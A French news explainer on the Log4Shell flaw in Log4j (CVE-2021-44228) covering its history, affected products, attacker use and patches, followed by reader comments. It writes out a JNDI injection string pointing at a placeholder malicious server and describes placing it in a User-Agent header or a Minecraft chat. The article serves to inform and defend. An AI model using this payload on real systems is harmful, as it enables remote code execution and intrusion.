Qu'est-ce que Log4Shell, la vulnérabilité qui enflamme Internet ?

17 décembre 2021 à 13h26
41
Log4j

Depuis plusieurs jours, Internet s’agite autour d’une vulnérabilité dans Log4j, un programme inconnu du grand public et pourtant utilisé dans un nombre très important de logiciels et applications web. Pourquoi cette faille est-elle si significative ? On vous explique.

Qu'est-ce que Log4Shell ?

Depuis le 9 décembre, une vulnérabilité critique est au centre de toutes les conversations dans les milieux spécialisés : désormais appelée Log4Shell, elle est présente dans Log4j, un outil couramment utilisé dans les applications Java pour logger des activités et des erreurs. Ce programme est développé et maintenu par des volontaires de l’Apache Software Foundation, ce qui explique son adoption massive.

La faille, désignée comme « CVE-2021-44228 », a obtenu un score CVSS de 10, la note maximale. Ce score élevé de sévérité s’explique par le fait qu’elle est triviale à exploiter, puisqu’il suffit d’une seule ligne : en plaçant une instruction simple type « ${jndi:ldap://serveur-malveillant/ressource} » à un endroit où cette donnée sera loggée par Log4j (par exemple un formulaire), l'attaquant force une connexion à son serveur via JNDI pour récupérer et exécuter la ressource indiquée, souvent un script. De cette manière, il peut exécuter du code à distance et faire ce qu’il souhaite sur le serveur vulnérable. Marcus Hutchins, aussi connu sous le pseudonyme de MalwareTech, a publié une vidéo pour démontrer la vulnérabilité.

Parmi les exemples plus médiatisés de l’utilisation de cette faille, on peut citer celle qui a touché Minecraft . Écrire l'instruction en question dans un chat Minecraft suffit à exécuter du code à distance sur le serveur, mais aussi sur les ordinateurs des joueurs présents sur le serveur. Une autre illustration touche au header User-Agent, qui permet de savoir entre autres à partir de quel navigateur et quel système d’exploitation l’utilisateur visite le site, et dont le contenu est souvent loggé par un serveur web. En modifiant ce header pour qu’il affiche l’instruction au lieu des informations habituelles, cette instruction sera « interprétée » par Log4j au moment de son écriture dans un log, ce qui permet d’obtenir un accès à un serveur web vulnérable.

Cybersécurité

Depuis quand la vulnérabilité est-elle connue ?

Cette vulnérabilité existe depuis au moins septembre 2013 dans Log4j. En 2016, une présentation durant l'événement Black Hat 2016 illustrait les possibilités d’exécution de code à distance en utilisant JNDI, possibilités qui s’appliquaient à Log4j. On ne sait pas si les volontaires étaient au courant de l’existence de la vulnérabilité à ce moment-là, mais toujours est-il qu’elle n'avait pas été patchée à l’époque.

Dans le cas qui nous intéresse, la vulnérabilité a été dévoilée à Apache le 24 novembre par Chen Zhaojun, d’Alibaba Cloud. Le 8 décembre, le chercheur alertait les volontaires sur le fait qu'un utilisateur anonyme avait dévoilé sur une plateforme de blogs chinoise les détails de la vulnérabilité. Le 9 décembre, un chercheur a publié sur Twitter une description de la vulnérabilité et un exemple de son exploitation. Si c’est à partir de ce moment-là que son exploitation massive a commencé, Cloudflare et Cisco ont indiqué avoir vu des exemples de son utilisation par des attaquants les 1er et 2 décembre, sans qu’on sache comment certains acteurs ont eu connaissance de son existence.

Qui est touché par Log4Shell ?

Concrètement, sont touchés par cette faille toutes les applications et tous les logiciels utilisant Log4j dans une version allant de 2.0 à 2.14.1. Une liste complète est difficile à établir mais des bases de données commencent à recenser les logiciels et vendeurs vulnérables ou non. BleepingComputer maintient également une liste de son côté. Parmi les marques et programmes connus et confirmés comme étant vulnérables, on peut signaler Minecraft, Apple, Tesla, Steam, Twitter, Redis, ElasticSearch et, évidemment, Apache.

La Cybersecurity and Infrastructure Security Agency (CISA) a prévenu que plusieurs centaines de millions de systèmes sont possiblement vulnérables.

Cybersécurité
Si vous n'avez pas un bonnet, des mitaines et des écrans avec du code vert sur fond noir, vous n'êtes pas un vrai pirate

Par qui est exploitée cette vulnérabilité ?

Dès que la vulnérabilité et la manière de l’exploiter ont été rendues publiques, des pirates ont saisi l'opportunité pour partir à la recherche de serveurs vulnérables. Certains d'entre eux ont commencé à infecter des serveurs avec des mineurs de cryptomonnaies. Les pirates derrière Kinsing, par exemple, utilisent la vulnérabilité pour lancer des scripts qui suppriment les malwares de leurs compétiteurs et installent le leur pour miner des cryptomonnaies. Comme rapporté par Netlab 360, les botnets Mirai et Muhstik sont aussi de la partie. Microsoft a de son côté indiqué avoir aperçu des attaquants déployer des balises Cobalt Strike, souvent utilisées par des pirates pour installer des ransomwares.

La vulnérabilité est également utilisée pour exfiltrer des données contenues dans des variables d’environnement, comme des clés secrètes. Pour le moment, aucun ransomware n’a encore été déployé à l’aide de cette faille. Mais pour la plupart des chercheurs, cela ne saurait tarder.  

Si le projet est open source, pourquoi personne ne s’en est rendu compte avant ?

Il est souvent dit que les projets open source sont plus sécurisés car, leur code source étant public, tout le monde peut l’inspecter et trouver des vulnérabilités. En pratique, certains projets open source utilisés massivement comme Log4j ne sont maintenus que par quelques volontaires bénévoles, la plupart des entreprises se contentant de les utiliser dans leurs produits sans spécialement participer au projet lui-même.

Pour Log4j, six volontaires bénévoles étaient chargés de sa maintenance sur leur temps libre. Personne n’était donc dessus à temps plein, ce qui explique qu’une faille de ce genre a pu passer inaperçue et pourquoi il a fallu aux développeurs plusieurs jours pour sortir un patch pour la corriger.

Cette situation n’est pas inédite : en 2014, la faille critique Heartbleed était le résultat d’une contribution d’un développeur bénévole au projet OpenSSL qui avait été validée alors qu’elle contenait une erreur au niveau d’une validation. A l’époque, cette faille avait mis en lumière le manque de moyens et de contributeurs des projets open source et les conséquences de ce manque, surtout pour les contributions qui sont massivement utilisées. Plusieurs grandes entreprises avaient formé un projet de financement, la Core Infrastructure Initiative, censée aider à financer les projets open source importants. Cependant, comme le montre Log4Shell, la situation reste encore précaire pour beaucoup de ces projets, et des vulnérabilités importantes continuent de découler de ce manque critique de moyens et de volontaires.

Cybersécurité

Y a-t-il des moyens de corriger cette vulnérabilité ?

La vulnérabilité a été corrigée dans la version 2.15.0 de Log4j, mais il est plus prudent de télécharger la version 2.16.0 , qui désactive complètement JNDI par défaut. Plusieurs mitigations possibles ont été partagées dans le cas où une mise à jour serait compliquée, comme un « vaccin  » développé par les chercheurs de Cybereason qui fournit une solution temporaire en utilisant lui-même la faille pour procéder à des modifications à distance.

Du côté des utilisateurs, il n’y a pas grand-chose de plus à faire qu’attendre et faire les mises à jour des logiciels vulnérables lorsqu’elles sont disponibles. Minecraft, par exemple, a procédé à un correctif et fournit un guide pour les personnes hébergeant leur propre serveur.

Dois-je mettre le feu à mon ordinateur ?

Non, pas encore, même s'il n'y a pas de doute sur le fait que la faille est l'une des plus importantes des dernières années et qu'on ne connait pas encore toutes les conséquences de son existence. En revanche, faire attention à son utilisation d’Internet et de logiciels ainsi que se protéger avec des logiciels de sécurité reste toujours une bonne idée.

Soyez toujours courtois dans vos commentaires.
Respectez le réglement de la communauté.
41
22
orionb1
et bien, situation de crise, j’espère que tout le monde est occupé à patcher en ce moment
Zimt
Pour résumer c’est ça :<br />
zekkawa
L’OSS c’est surtout beaucoup de dev qui sont dégoutés par leur boulot et qui cherchent a se faire plaisir (et aussi a se faire connaitre) et qui passent leurs soirees a développer de l’OSS.<br /> Les grandes boites ne leur filent pas un centime et utilisent le fruit de leur travaille de passionné en tout légalité.<br /> Le sponsoring commence a changer les choses mais nous sommes TRES LOIN d’une situation juste.
norwy
Merci pour l’article. Ce qui est effrayant c’est qu’il peut y en avoir encore quelques unes comme ça qui sont exploitées dans le plus grand secret depuis des années, ni vu ni connu.<br /> Un vrai parc d’attraction pour hackers et autres agences…
Zimt
C’est tout à fait ça.
Stavroguine
Excellent !
Titanee
Une base de donnée des applications vulnérable en mode plus digeste pour les yeux est disponible ici: https://github.com/cisagov/log4j-affected-db<br /> Vous pouvez tester la vulnérabilité de vos applications à l’aide de ce script Python sur github: https://github.com/fullhunt/log4j-scan<br /> Vous pouvez chercher dans vos logs des traces d’exploitations à l’aide des informations données par l’ANSSI ainsi que d’autres conseils et recommendations : [MaJ] Vulnérabilité dans Apache Log4j – CERT-FR<br /> Attention, l’attaque évolue et si vous avez un IPS et/ou un WAF mettez bien à jour avec les derniers patterns de detection an attendant de pouvoir faire le nécessaire pour fixer vos applications utilisant Log4j.<br /> Mon équipe et moi on est crevé mais au moins il y a de l’action <br /> Bon courage à ceux qui subissent, c’est le feu depuis 1 semaine maintenant sur internet.
ld9474
Je veux pas mettre d’huile sur le feu mais c’est un problème Java… Les applications .Net ne sont pas impactées… Ok je sors. Bon courage à ceux qui bossent dessus.
Titanee
Presque que Java dû a sa présence prédominante un peu partout mais d’autres langages comme Scala, Groovy ou Clojure peuvent aussi être impactés car Apache Log4j existent aussi pour eux.<br /> C’est important de bien regarder ce qu’on a et ne pas s’arrêter à Java mais bel et bien chercher Log4j, ce qui est toute la difficulté de cette vulnérabilité.<br /> Très peu (je n’en ai vue aucune de mon vivant) de CMDB contiennent la liste des librairies utilisées pour une application donnée, encore moins avec la version de la librairie et encore moins quand c’est un soft propriétaire qu’on achète…
ar-s
Comment ça va ?<br /> Java moyen j’avoue <br />
ifebo
Je vais bientôt prendre l’avion, j’espère qu’ Airbus n’utilise pas de Java !
ld9474
Titanee:<br /> C’est important de bien regarder ce qu’on a et ne pas s’arrêter à Java mais bel et bien chercher Log4j, ce qui est toute la difficulté de cette vulnérabilité.<br /> Vous avez raison. J’ai été étonné de lire qu’Azure DevOps était impacté car le moteur de recherche était Elastic Search.
ld9474
C’est très fort probable. Java est utilisé dans pas mal de logiciels embarqués. D’ailleurs on ne parle pas d’Androïd mais il me semble qu’on code (ou codait) avec du Java non?
Titanee
L’enfer, le vrai, ca va être pour patcher tout ce qui est IoT
Peggy10Huitres
J’ai envie de dire … «&nbsp;Rien de neuf dans l’Open Source&nbsp;»
ld9474
Faut pas blamer l’Open Source… Pour avoir fait pas mal d’audit dans ma carrière, personne ne met un kopek sur la sécurité: Il faut délivrer vite et la sécurité ca coûte trop cher… La très grande majorité des applis spécifiques developpées sont truffées de trous. Quand nous proposons de faire des analyses OWASP (le basique), personne n’en veut… Nous avons mis en place un framework de sécurité (analyse et processus de developpement) aucun client n’en veut car c’est trop cher… Bref, quand les décideurs prendront en compte le vrai coût d’un projet informatique on en reparlera… Pour les tests unitaires ca a mis 20 ans…
Peggy10Huitres
Je pense que tu as 100% raison !<br /> Mais pour avoir été raillé dans le passé à chaque fois que j’avais affaire aux «&nbsp;extrémistes du libre et de l’open source&nbsp;» cette phrase était une petite vengeance personnelle !
sofolic
Travaillant avec les technologies en cause depuis plus de 10 ans.<br /> C’est quand même fou que des gens confonde librairie et langage de programmation.<br /> Ce n’est pas un problème Java, c’est un problème d’une librairie très utilisé (parce que le log c’est quand même quelque chose de très fréquent).<br /> Si une lib très utilisée en .Net venait a être compromise c’est pas .Net qui serait pourri mais juste la lib.<br /> Java est un langage sûr comme .Net (et c’est surtout les VM qui doivent l’être parce qu’un langage sûr ça n’a pas trop de sens à mon avis). Les frameworks de base sont aussi de très bonne qualité dans les deux univers (Apache n’étant pas dans le framework de base).<br /> Donc NON Java n’est pas le problème. En plus Log4J à beaucoup moins d’adepte qu’il y a 10 ans (aujourd’hui y’a SLF4J qui est pas mal utilisé aussi).
sofolic
Le crédit de l’image ( c’est un minimum )<br /> xkcd.com<br /> Dependency<br /> Someday ImageMagick will finally break for good and we'll have a long period of scrambling as we try to reassemble civilization from the rubble.<br />
MattS32
ld9474:<br /> D’ailleurs on ne parle pas d’Androïd mais il me semble qu’on code (ou codait) avec du Java non?<br /> Le langage «&nbsp;officiel&nbsp;» pour Android était effectivement Java. Maintenant c’est passé à Kotlin (mais Java reste supporté il me semble).<br /> Mais il y a Java et Java. Le SDK Android gère le langage Java, mais derrière il n’y a pas toute la librairie standard de Java, seul un sous-ensemble de cette librairie est disponible, le reste étant remplacé/étendu avec la librairie standard Android.<br /> Du coup, la librairie log4j ne peut pas être utilisé dans une application Android : elle utilise des API de la librairie standard Java qui ne sont pas disponible dans Android.<br /> Il y a bien un portage d’une ancienne version vers Android, mais c’est une version qui n’est pas affectée par la faille. Et quand bien même une version récente serait portée, la faille ne serait pas forcément présente : elle est dans une portion de code qui appelle des API Java non disponibles sous Android, donc une portion de code qui serait forcément réécrite dans un portage de log4j sous Android.<br /> Enfin, sous Android les applications s’exécutent dans des sandbox. Donc même si la vulnérabilité était présente, sa portée serait forcément largement moindre, à moins d’avoir un second exploit permettant en plus de sortir de la sandbox.
carinae
Pour la petite histoire il y a beaucoup d’application de touchées. Même certaines suites VMware ou Cisco.<br /> C’est un sacré b… cette histoire. Et tout ça parce qu’il y a un âne qui n’a rien trouvé de mieux de diffuser toutes les informations nécessaires à du piratage
B_B2
Les 0 et 1 ne sont pas sécurisés ! Il faut se servir des Infos entre les 1 et 0 de noc Chers informaticiens
ld9474
Vous avez raison. C’est juste un raccourci… Et je suis heureux d’apprendre que comme log4Net, log4j est beaucoup moins utilisé.
ld9474
sofolic:<br /> Java est un langage sûr comme .Net<br /> Ceci n’est pas juste… Tout d’abord .Net n’est pas un langage mais un framework. Le langage c’est c# ou vb ou ce que vous voulez d’autre qui respecte la CLI.<br /> Pour .Net comme pour Java (qui est aussi un framework), les librairies du Framework peuvent contenir des failles. Ce n’est pas parce que c’est fourni par un éditeur que c’est exempt d’anomalies malheureusement.
Mr_Electro84
sofolic:<br /> Java est un langage sûr comme .Net<br /> Petite correction, .NET n’est pas un langage, mais un Framework, il comprend C#, F# et VB .NET<br /> ld9474:<br /> Java (qui est aussi un framework)<br /> Java n’est pas un Framework (n’inversons pas les rôles) mais un langage (orientée objet) à part entière, ce qui relève du Framework sont ici : Java (langage) — Wikipédia
ld9474
Mr_Electro84:<br /> Java n’est pas un Framework (n’inversons pas les rôles) mais un langage (orientée objet)<br /> Je persiste: certes c’est un langage dans le sens où il a une syntaxe spécifique, mais je langage seul ne fait rien puisqu’il ne compile pas en natif et qu’il lui faut un framework pour tourner (et le JDK pour compiler). C’est d’ailleurs expliqué dans l’article que vous mettez en copie. En d’autres terme le Framework et le langage portent le même nom.
MattS32
ld9474:<br /> mais je langage seul ne fait rien puisqu’il ne compile pas en natif et qu’il lui faut un framework pour tourner<br /> Là tu confonds JVM et framework. Avec le compilateur officiel, le Java se compile effectivement pas en binaire natif, il se compile en binaire pour le bytecode de la JVM, mais tu peux quand même tout a fait faire un programme en Java n’utilisant aucune fonction des frameworks «&nbsp;officiels&nbsp;» Java (bon, tu iras pas loin hein, mais tu peux) et le compiler pour l’exécuter dans une JVM, sans aucune dépendance à la moindre librairie Java d’un framework.<br /> Et à l’inverse tu peux compiler du Java en natif (ou du bytecode adapté à une autre VM, comme celle de .NET par exemple), même s’il utilise des fonctions des frameworks officiels (auquel cas, il faut par contre aussi compiler en natif les librairies de ces framework). Ce n’est pas parce que le compilateur officiel ne le fait pas que ce n’est pas possible. Techniquement, tous les langages sont compilables en natifs. Pour Java, c’est ce que propose par exemple le compilateur du projet GNU (GCJ), qui peut compiler de façon classique vers du bytecode JVM, mais aussi vers du natif pour différentes architectures (et il peut également transpiler du bytecode JVM vers du natif, ce qui permet de produire des librairies natives à partir de librairies déjà compilées en bytecode même sans avoir leur sources).<br /> L’autre exemple classique, c’est Android. Android utilise le langage Java, mais n’utilise ni les frameworks officiels ni le bytecode officiel (VM Dalvik puis Android Runtime, qui a son propre bytecode). C’est pour ça que Google avait été attaqué par Oracle, qui lui reprochait justement de détourner le langage Java.<br /> Bref, le langage Java est bien indépendant dans frameworks «&nbsp;officiels&nbsp;» Java développés par Sun puis Oracle, même si le plus souvent ils sont utilisés ensemble.
ld9474
Je ne suis pas d’accord sur les termes utilisés mais c’est pas grave.
lightness
ce qui me marque c’est ça : «&nbsp;Dès que la vulnérabilité et la manière de l’exploiter ont été rendues publiques&nbsp;» les cybercriminelle ce sont jetés dessus.<br /> Alors pourquoi rendre la faille publique ??? et surtout, est-ce que l’historique de cette faille est tout bonnement une belle histoire pour justifier l’action des cybercriminelles en leur donnant le feu vert.<br /> ça me rappelle des mises en scène de l’Histoire qui sont devenus vrais alors qu’elles n’ont aucun fondement. Après Java on sait qu’en général c’est truffé de failles.
MattS32
lightness:<br /> Alors pourquoi rendre la faille publique ?<br /> Parce que le code est open source, donc en regardant les modifications du code, on peut voir qu’une faille a été corrigée, même s’il n’y a pas de communication officielle à son sujet.<br /> Et parce qu’en l’absence de communication officielle à son sujet, les millions de gens qui utilisent cette librairie, directement ou indirectement, ne sauront pas qu’il faut la mettre à jour, et seront donc vulnérable à l’exploitation de la faille.<br /> lightness:<br /> Après Java on sait qu’en général c’est truffé de failles.<br /> En l’occurrence, ce n’est PAS une faille de Java.
lightness
ok pour Java, j’avais compris que cela utilisait le moteur de java.<br /> Le problème est que maintenant que tout le monde sait qu’il faut mettre à jour il est sûr et certains que la faille sera exploitée. après je comprends une décision est très souvent à double tranchant.
MattS32
Sur un truc aussi utilisé que log4j, y avait pas le choix. La faille aurait été détectée dès la mis en ligne du correctif, et il y aurait en bien plus de monde resté vulnérable qu’aujourd’hui.<br /> lightness:<br /> ok pour Java, j’avais compris que cela utilisait le moteur de java.<br /> Oui, log4j est en Java, et l’exploit utilise une fonctionnalité offerte par Java EE, un framework Java très utilisé notamment pour les applications web.<br /> Mais la faille ne se situe pas au niveau de Java ou de Java EE, les fonctions utilisées fonctionnent comme attendu, c’est une mauvaise utilisation par log4j qui crée la vulnérabilité (vulnérabilité qui est d’ailleurs atténuée avec les versions récentes du runtime Java officiel, qui par défaut bloque certains accès à des ressources distantes).
Pronimo
A part pour les développeurs, y’en a qui installent encore Java sur leur machine?<br /> C’est un nid a bactéries ce truc
ti4444
Heureusement qu’aucune personne n’ai eu la bonne idée de le mettre sur des équipements réseaux. Bon courage aux collègues qui bossent sur des services infra
MattS32
Bah tous ceux qui utilisent des applications développées en Java…
juju251
Sauf que cette faille est connue depuis 2016 (cf l’article, conférence Blackhat).<br /> Et le fait qu’elle soit rendue publique, c’est une chose, mais elle a sans doute été exploitée en toute discrétion depuis des années …<br /> Comme sans doute d’autres failles en ce moment même, pas encore dévoilées au grand jour.<br /> Alors, c’est certain que quand une vulnérabilité aussi importante et facilement exploitable se retrouve avec une telle visibilité ça craint, mais d’un autre côté, j’ai l’impression que c’est un peu la seule façon de faire en sorte que tout le monde se bouge.<br /> Et je ne parle pas que des développeurs de l’application concernées, mais aussi des admins et autres qui doivent mettre à jours les services utilisant ladite appli.<br /> Edit : D’ailleurs, les patchs sortis avant la version 2.17 de log4j ne semblent pas particulièrement efficaces :<br /> https://logging.apache.org/log4j/2.x/<br /> twitter.com<br /> Fabian RODES (FabianRODES)<br /> #Log4j c’est l’histoire sans fin !<br /> ❌ Découverte encore de 2 vulnérabilités dans le patch du patch de la faille ! <br /> Reference CVE. - CVSS<br /> CVE-2021-44228 - 10<br /> CVE-2021-45046 - 9.0<br /> CVE-2021-4104 - 8.1<br /> CVE-2021-45105 - 7.5<br /> media.cert.europa.eu/static/Securit…<br /> #Log4jNeverEnding<br /> 10:40 AM - 19 Dec 2021<br /> 23<br /> 14<br /> Bref …
Nmut
L’exposition des librairies et des licences est pourtant une obligation légale en LGPL / GPL (même si Apache est plus permissif)! <br /> Et dans tous les cas la responsabilité est sur l’éditeur du soft, donc ils doivent informer leurs utilisateurs de la faille et mettre en place les actions correctives!
Nmut
Tout comme .net ou n’importe quel autre framework…<br /> C’est un peu une caricature de dire «&nbsp;C’est un nid a bactéries ce truc&nbsp;». Le potentiel de problème est certes relativement élevé, mais c’est inhérent à la puissance du langage et à toutes les librairies et autres extensions associées qui exploitent cette puissance (log4j dans le cas présent).<br /> On peut retrouver le même problème dans pas mal de choses. Le webgl est le premier truc qui me vient à l’esprit, ou l’accès bas niveau depuis un service web laisse la potentiellement le porte ouverte à de jolis problèmes.
carinae
Oui tu n’as pas tord … mais en même temps avec cette com le nombre d’attaques a explosé et ça a généré une panique absolument pas nécessaire… résultats des courses il y en a qui passent leurs soirées et weekends à mettre en place des workarounds et il faudra qu’ils y repassent encore quand les éditeurs auront sortis des patchs. Vu la période (Noël) tu comprendras…qu’ils apprécient
Mr_Electro84
Vous vous êtes emmêlés les pinceaux !<br /> On ne parle pas du langage java, lais d’un module de logging (journalisation) nommé Log4J, on peux l’installer sur son ordinateur, ou pas !<br /> C’est très réducteur, et cela fait surtout très cliché de dire que «&nbsp;C’est un nid a bactéries ce truc&nbsp;», on peut dire la même chose avec n’importe quel Framework, langage etc…<br />
EnLighter
Mode Associé du Diable activé<br /> Ah l’injection, c’est décidément mon hack préféré.
Voir tous les messages sur le forum

Lectures liées

Bandai Namco ferme les serveurs PVP de Dark Souls en urgence à cause d'une faille de sécurité critique
Avec son offre à -60%, Bitdefender vous propose le meilleur des antivirus à petit prix !
CyberGhost VPN casse le prix de son abonnement à 1,89€/mois pendant 3 ans !
Un antivirus efficace et pas cher ? Profitez d'un abonnement Bitdefender à -60%
Norton fait les soldes ! En quoi ses antivirus à -60% est une aubaine ?
Crypto.com piraté, des centaines de comptes touchés et plusieurs millions de dollars dans la nature
La Croix-Rouge se fait voler les données de plus de 500 000 personnes hautement vulnérables
Rends l'argent ! Cacophonie et négociations après un vol de 3 millions de dollars en crypto
Norton casse les prix de ses antivirus ! Pourquoi se décider à les installer ?
Pegasus utilisé par la police israélienne pour surveiller les citoyens ?
Haut de page